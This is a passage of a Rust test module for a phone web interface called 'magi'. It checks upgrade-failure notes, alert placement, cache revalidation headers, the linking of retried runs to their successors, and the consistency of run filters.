9499                "the phone must be able to tell {stage} apart from the others"
9500            );
9501        }
9502        assert!(APP_JS.contains(".waiting_on"));
9503        // What replaced the bare "Cannot reach magi: Failed to fetch": a
9504        // fetch failing while an upgrade is in flight is not an error, it is
9505        // the sub-second gap `bind_waiting` covers, and it must not be
9506        // reported as one.
9507        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
9508        assert!(APP_JS.contains("reconnects on its own"));
9509    }
9510
9511    #[test]
9512    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
9513        // `Stage::Failed` is terminal on the server and nothing clears it on
9514        // its own - not a fresh start, not time passing - so a full-strip
9515        // takeover for it (the way the busy stages take the strip over,
9516        // correctly, because those are transient) would have hidden
9517        // start/stop/park behind an upgrade notice with no way back short of
9518        // a person editing `upgrade.json` by hand or a later release
9519        // happening to succeed. The failure must instead ride along as a note
9520        // next to whatever control the loop's own state already offers.
9521        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
9522            ..APP_JS.find("function upgrade(").expect("upgrade")];
9523        assert!(
9524            !body.contains(
9525                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
9526            ),
9527            "a failed upgrade must not take the whole strip over the way it used to"
9528        );
9529        assert!(
9530            body.contains("upgradeFailNote"),
9531            "the failure has to reach the loop's own note instead"
9532        );
9533        // `quiet` and `control` are the only two places `loop-why` is set from
9534        // this function's own state; both must carry the note through, or a
9535        // future edit to either one would silently drop it again.
9536        assert_eq!(
9537            body.matches("upgradeFailNote].filter(Boolean).join")
9538                .count(),
9539            2,
9540            "both loop-why writers (quiet and control) must fold the note in"
9541        );
9542    }
9543
9544    #[test]
9545    fn an_overdue_upgrade_eventually_asks_for_a_human() {
9546        // The ceiling has to clear a full hour-long park with room to spare,
9547        // or an ordinary implement wave would be reported as a stuck upgrade.
9548        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
9549        assert!(APP_JS.contains("function upgradeOverdue("));
9550    }
9551
9552    #[test]
9553    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
9554        assert!(
9555            APP_JS.contains("Updated to ${upgradeInfo.to"),
9556            "the operator who asked for the restart wants to know it worked"
9557        );
9558    }
9559
9560    #[test]
9561    fn an_error_is_visible_from_where_the_button_is() {
9562        // The alert used to sit in the flow under the header. On a phone
9563        // scrolled 13 500 px down to a run's action sheet that is off screen,
9564        // so tapping Resume and being told "the loop is running run b455
9565        // right now" looked exactly like a button that did nothing.
9566        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
9567            ..APP_CSS.find(".alert-text").expect(".alert-text")];
9568        assert!(
9569            alert.contains("position: fixed"),
9570            "an error about the thing under your thumb has to be visible from \
9571             where your thumb is: {alert}"
9572        );
9573        assert!(
9574            alert.contains("z-index: 25"),
9575            "above the dock (20) and the run-actions FAB (15), so neither \
9576             buries it: {alert}"
9577        );
9578        assert!(
9579            alert.contains("var(--tap)"),
9580            "and clear of the dock and the home indicator: {alert}"
9581        );
9582        // The FAB sits at the same height on the right. An error that covered
9583        // it would hide the button the operator reaches for next.
9584        assert!(
9585            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
9586            "the FAB's column stays free: {alert}"
9587        );
9588    }
9589
9590    #[tokio::test]
9591    async fn an_older_attempt_says_what_replaced_it() {
9592        let fx = Fixture::start().await;
9593        let q = fx.queue();
9594        let runs = fx.runs();
9595        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
9596        write_run(&runs, first, RunStatus::Stalled);
9597        write_run(&runs, second, RunStatus::Blocked);
9598
9599        let mut t = Task::new(
9600            "one task".to_owned(),
9601            "do it".to_owned(),
9602            PathBuf::from("/repo"),
9603            Source::Human,
9604        );
9605        t.runs = vec![first.to_owned(), second.to_owned()];
9606        q.put(&mut t).expect("put");
9607
9608        // Two cards with the same title and no hint which is which was the
9609        // question: "why are there two of the same, one stalled and one
9610        // blocked?" The older one now names its replacement.
9611        let rows = fx.get("/api/runs").await.json();
9612        let by = |short: &str| -> Value {
9613            rows.as_array()
9614                .unwrap()
9615                .iter()
9616                .find(|r| r["short"] == short)
9617                .cloned()
9618                .unwrap_or(Value::Null)
9619        };
9620        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
9621        assert!(
9622            by("bbbb")["superseded_by"].is_null(),
9623            "the latest attempt is not superseded by anything"
9624        );
9625        // Front end: the note has to be rendered, not just carried.
9626        assert!(APP_JS.contains("run.superseded_by"));
9627        assert!(APP_JS.contains("Superseded by"));
9628    }
9629
9630    #[tokio::test]
9631    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
9632        // The list route has known this since the card fix above; the detail
9633        // route — what an operator actually opens from a notification about
9634        // a blocked run — did not, and went on showing a bare red BLOCKED
9635        // chip for a run a retry had already finished.
9636        let fx = Fixture::start().await;
9637        let q = fx.queue();
9638        let runs = fx.runs();
9639        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
9640        write_run(&runs, first, RunStatus::Blocked);
9641        write_run(&runs, second, RunStatus::Merged);
9642
9643        let mut t = Task::new(
9644            "one task".to_owned(),
9645            "do it".to_owned(),
9646            PathBuf::from("/repo"),
9647            Source::Human,
9648        );
9649        t.runs = vec![first.to_owned(), second.to_owned()];
9650        q.put(&mut t).expect("put");
9651
9652        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
9653        assert_eq!(earlier["superseded_by"], "dddd");
9654        assert_eq!(earlier["latest_attempt"]["id"], second);
9655        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
9656        assert_eq!(
9657            earlier["latest_attempt"]["resolved"], true,
9658            "the run that replaced it landed, so this one reads as settled"
9659        );
9660
9661        let later = fx.get(&format!("/api/runs/{second}")).await.json();
9662        assert!(
9663            later["superseded_by"].is_null(),
9664            "the latest attempt is not superseded by anything"
9665        );
9666        assert!(
9667            later["latest_attempt"].is_null(),
9668            "the latest attempt has no later attempt of its own"
9669        );
9670
9671        // Front end: the detail page has to read the field this route now
9672        // carries, downgrade the chip, and link to the run that replaced it —
9673        // not just repeat the list card's own logic under a different name.
9674        // The link is built off `latest_attempt.id`, the server-resolved
9675        // full id, never a bare short string a client would have to guess a
9676        // full run from.
9677        assert!(APP_JS.contains("run.latest_attempt"));
9678        assert!(APP_JS.contains("data-superseded"));
9679        assert!(APP_JS.contains("#/runs/${latest.id}"));
9680    }
9681
9682    #[tokio::test]
9683    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
9684        // A -> B -> C, all Blocked except the last. A's immediate successor
9685        // (superseded_by) is B, which is itself unresolved; what an operator
9686        // opening A's page actually needs is where the task's story stands
9687        // *now* - C, not B - without depending on whether C happens to be in
9688        // whatever page of /api/runs the client last cached.
9689        let fx = Fixture::start().await;
9690        let q = fx.queue();
9691        let runs = fx.runs();
9692        let (a, b, c) = (
9693            "20260901-000000-aaaa",
9694            "20260901-000000-bbbb",
9695            "20260901-000000-cccc",
9696        );
9697        write_run(&runs, a, RunStatus::Blocked);
9698        write_run(&runs, b, RunStatus::Blocked);
9699        write_run(&runs, c, RunStatus::Merged);
9700
9701        let mut t = Task::new(
9702            "retried twice".to_owned(),
9703            "do it".to_owned(),
9704            PathBuf::from("/repo"),
9705            Source::Human,
9706        );
9707        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
9708        q.put(&mut t).expect("put");
9709
9710        let view = fx.get(&format!("/api/runs/{a}")).await.json();
9711        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
9712        assert_eq!(
9713            view["latest_attempt"]["id"], c,
9714            "the chain's current head, not the intermediate Blocked retry"
9715        );
9716        assert_eq!(view["latest_attempt"]["resolved"], true);
9717
9718        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
9719        assert_eq!(mid["latest_attempt"]["id"], c);
9720        assert_eq!(mid["latest_attempt"]["resolved"], true);
9721    }
9722
9723    #[tokio::test]
9724    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
9725        let fx = Fixture::start().await;
9726        let q = fx.queue();
9727        let runs = fx.runs();
9728
9729        // Still Blocked: the task is not resolved, so the older run must not
9730        // read as settled either.
9731        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
9732        write_run(&runs, still_blocked_a, RunStatus::Blocked);
9733        write_run(&runs, still_blocked_b, RunStatus::Blocked);
9734        let mut t1 = Task::new(
9735            "still stuck".to_owned(),
9736            "do it".to_owned(),
9737            PathBuf::from("/repo"),
9738            Source::Human,
9739        );
9740        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
9741        q.put(&mut t1).expect("put");
9742        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
9743        assert_eq!(view1["latest_attempt"]["resolved"], false);
9744
9745        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
9746        // to check - not a confirmed finish, so this must not read as
9747        // resolved either, even though the run is done in the sense that
9748        // nothing is still running.
9749        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
9750        write_run(&runs, noop_a, RunStatus::Blocked);
9751        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
9752        let mut t2 = Task::new(
9753            "claims done".to_owned(),
9754            "do it".to_owned(),
9755            PathBuf::from("/repo"),
9756            Source::Human,
9757        );
9758        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
9759        q.put(&mut t2).expect("put");
9760        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
9761        assert_eq!(
9762            view2["latest_attempt"]["resolved"], false,
9763            "an unverified no-op claim must not read as a confirmed finish"
9764        );
9765
9766        // Front end: an unresolved successor must not carry the "finished
9767        // this work" note or the muted chip treatment.
9768        assert!(APP_JS.contains("latest.resolved"));
9769    }
9770
9771    #[tokio::test]
9772    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
9773        let fx = Fixture::start().await;
9774        // No cache header at all meant browsers invented their own policy,
9775        // and one did: a phone went on showing "Candidates must be folded
9776        // before deleting. Run `magi fold` first." - deleted two releases
9777        // earlier - from a deck that no longer contained the sentence. The
9778        // button it named was right there, and unreachable.
9779        let js = fx.get("/app.js").await;
9780        assert_eq!(js.status, 200);
9781        let tag = js
9782            .header("etag")
9783            .expect("an etag to revalidate against")
9784            .to_owned();
9785        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
9786        assert_eq!(
9787            js.header("cache-control"),
9788            Some("no-cache, must-revalidate"),
9789            "the phone has to ask every time"
9790        );
9791
9792        // And the asking has to be cheap, or `must-revalidate` just means
9793        // "send the whole interface on every load".
9794        let again = fx
9795            .get_with("/app.js", &[("if-none-match", tag.as_str())])
9796            .await;
9797        assert_eq!(
9798            again.status, 304,
9799            "a deck it already has costs one round trip"
9800        );
9801        assert!(again.body.is_empty(), "304 carries no body");
9802
9803        // A weakened tag from a proxy still matches; a different build does
9804        // not, which is the case that has to deliver the new interface.
9805        let weak = fx
9806            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
9807            .await;
9808        assert_eq!(weak.status, 304);
9809        let stale = fx
9810            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
9811            .await;
9812        assert_eq!(stale.status, 200, "an older build must be replaced");
9813        assert!(stale.body.contains("renderRunActions"));
9814    }
9815
9816    #[test]
9817    fn the_deck_never_sends_the_operator_to_a_terminal() {
9818        // The whole point of the phone UI is that a terminal is not needed.
9819        // The delete control used to answer with "Run `magi fold` first."
9820        assert!(
9821            !APP_JS.contains("Run `magi fold` first"),
9822            "the deck must offer the fold, not prescribe a shell command"
9823        );
9824        assert!(APP_JS.contains("foldRun:"));
9825        assert!(APP_JS.contains("resumeRun:"));
9826        assert!(APP_JS.contains("renderRunActions"));
9827
9828        // Folding is destructive and armed in two steps, like deleting.
9829        assert!(APP_JS.contains("armedFold"));
9830        assert!(APP_JS.contains("Yes, fold worktrees"));
9831
9832        // And the copy has to say that the two actions are opposites, because
9833        // folding throws away exactly what a resume would continue from.
9834        assert!(APP_JS.contains("can no longer be resumed"));
9835    }
9836
9837    #[test]
9838    fn a_finished_run_explains_itself_with_its_own_last_line() {
9839        // The deck used to answer "why did this stop?" with a sentence chosen
9840        // by status alone. Run e633 stalled because two judges answered with
9841        // the wrong JSON shape and its card said "The panel collapsed on
9842        // agent quota" - with `quota: []` in the record and a quota-loss
9843        // counter right above it that correctly said nothing.
9844        assert!(
9845            !APP_JS.contains("collapsed on agent quota"),
9846            "a stall must not be explained by a cause the deck did not check"
9847        );
9848        assert!(
9849            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
9850            "and a block must not offer a guess with an `or` in it"
9851        );
9852
9853        // The reason it does have is `run.event`, which must reach finished
9854        // runs: gating it on movement hid the recorded truth at the one moment
9855        // the operator is reading the card to find out what happened.
9856        assert!(
9857            APP_JS.contains("setText(r.event, run.event || \"\")"),
9858            "the run's last line is rendered unconditionally"
9859        );
9860        assert!(
9861            !APP_JS.contains("moving && run.event"),
9862            "and never gated on the run still moving"
9863        );
9864
9865        // Quota keeps its own counter, fed by the number actually recorded.
9866        assert!(APP_JS.contains("lost to quota"));
9867    }
9868
9869    /// The runs tree (section) and the state chips (waiting/done) are two
9870    /// independent lenses ANDed together in `renderRuns`, and some pairings
9871    /// can never both be true for any run - every "Landed"/"Ended" run is
9872    /// done by construction, so pairing either with "Active" or "In flight"
9873    /// always rendered zero cards with the filter bar still claiming
9874    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
9875    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
9876    /// a handful of (waiting, status) shapes standing in for the run
9877    /// lifecycle, because `cargo test` cannot execute the front end.
9878    ///
9879    /// That stand-in list is itself the part that drifted twice in review:
9880    /// once shipped with `waiting: true` paired with a done status the
9881    /// lifecycle cannot produce, then over-corrected into treating every
9882    /// waiting run as never done - which made "Waiting on you" look
9883    /// incompatible with "Done" even for the one real, reachable shape
9884    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
9885    /// that combination. This test parses the shapes and the done-rule back
9886    /// out of `APP_JS`, reimplements `runSection` and the five state
9887    /// predicates independently in Rust, and checks the resulting
9888    /// section/filter compatibility table against the lifecycle rules by
9889    /// hand - so either direction of drift fails it again.
9890    #[test]
9891    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
9892        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
9893        let shapes_body_start =
9894            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
9895        let shapes_close = APP_JS[shapes_body_start..]
9896            .find("].map(")
9897            .expect("the shape list is closed by its done-computing .map(...)")
9898            + shapes_body_start;
9899        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
9900
9901        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
9902        for entry in shapes_src.split('{').skip(1) {
9903            let waiting = entry.contains("waiting: true");
9904            let dead = entry.contains("live: \"dead\"");
9905            let status_at =
9906                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
9907            let status_end = entry[status_at..]
9908                .find('"')
9909                .expect("the status string is closed")
9910                + status_at;
9911            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
9912        }
9913        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
9914
9915        // The done rule itself (`!["implementing"].includes(shape.status)`),
9916        // read out of the source rather than hardcoded, so a renamed
9917        // in-flight status can't silently make every parsed shape "done".
9918        let done_rule_marker = "done: !";
9919        let done_rule_at = APP_JS[shapes_close..]
9920            .find(done_rule_marker)
9921            .expect("the done rule follows the shape list")
9922            + shapes_close
9923            + done_rule_marker.len();
9924        let includes_at = APP_JS[done_rule_at..]
9925            .find(".includes(shape.status)")
9926            .expect("the done rule ends in .includes(shape.status)")
9927            + done_rule_at;
9928        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
9929            .trim()
9930            .trim_start_matches('[')
9931            .trim_end_matches(']')
9932            .split(',')
9933            .map(|s| s.trim().trim_matches('"'))
9934            .filter(|s| !s.is_empty())
9935            .collect();
9936
9937        let shapes: Vec<(bool, String, bool, bool)> = shapes
9938            .into_iter()
9939            .map(|(waiting, status, dead)| {
9940                let done = !not_done.contains(&status.as_str());
9941                (waiting, status, dead, done)
9942            })
9943            .collect();
9944
9945        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
9946        // outright, then merged/ready land, stalled/blocked/failed/
9947        // verified_noop end, and everything else is still in flight.
9948        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
9949            if waiting {
9950                return "waiting";
9951            }
9952            if dead
9953                && !matches!(
9954                    status,
9955                    "merged"
9956                        | "ready"
9957                        | "stalled"
9958                        | "blocked"
9959                        | "failed"
9960                        | "verified_noop"
9961                        | "superseded"
9962                )
9963            {
9964                return "stale";
9965            }
9966            match status {
9967                "merged" | "ready" => "landed",
9968                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
9969                _ => "flight",
9970            }
9971        }
9972
9973        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
9974        // way.
9975        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
9976            match filter_key {
9977                "active" => !done,
9978                "flight" => !done && !waiting && !dead,
9979                "stale" => !done && !waiting && dead,
9980                "waiting" => waiting,
9981                "done" => done,
9982                "all" => true,
9983                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
9984            }
9985        }
9986
9987        let compatible = |section: &str, filter_key: &str| {
9988            shapes.iter().any(|(waiting, status, dead, done)| {
9989                run_section(*waiting, status, *dead) == section
9990                    && filter_matches(filter_key, *waiting, *dead, *done)
9991            })
9992        };
9993
9994        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
9995        // (active, flight, stale, waiting, done, all) - hand-derived from the
9996        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
9997        // currently contains.
9998        let expected = [
9999            ("waiting", [true, false, false, true, true, true]),
10000            ("stale", [true, false, true, false, false, true]),
10001            ("flight", [true, true, false, false, false, true]),
10002            ("landed", [false, false, false, false, true, true]),
10003            ("ended", [false, false, false, false, true, true]),
10004        ];
10005        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10006
10007        for (section, wants) in expected {
10008            for (filter_key, want) in filter_keys.iter().zip(wants) {
10009                assert_eq!(
10010                    compatible(section, filter_key),
10011                    want,
10012                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10013                );
10014            }
10015        }
10016
10017        // The compatibility check exists only to be acted on: both pickers
10018        // must actually consult it rather than just render its answer.
10019        assert!(
10020            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10021        );
10022        assert!(APP_JS.contains(
10023            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10024        ));
10025        assert!(APP_JS.contains(
10026            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10027        ));
10028    }
10029
10030    #[tokio::test]
10031    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10032        // An operator-named directory - git checkout or not - is never
10033        // second-guessed, even when it does not exist at all: only the
10034        // flag's own unmodified `.` default is ever eligible for discovery.
10035        let dir = tempfile::tempdir().expect("tempdir");
10036        let explicit = dir.path().join("not-a-checkout");
10037        std::fs::create_dir_all(&explicit).expect("create dir");
10038        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10039
10040        let missing = dir.path().join("does-not-exist-at-all");
10041        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10042    }
10043}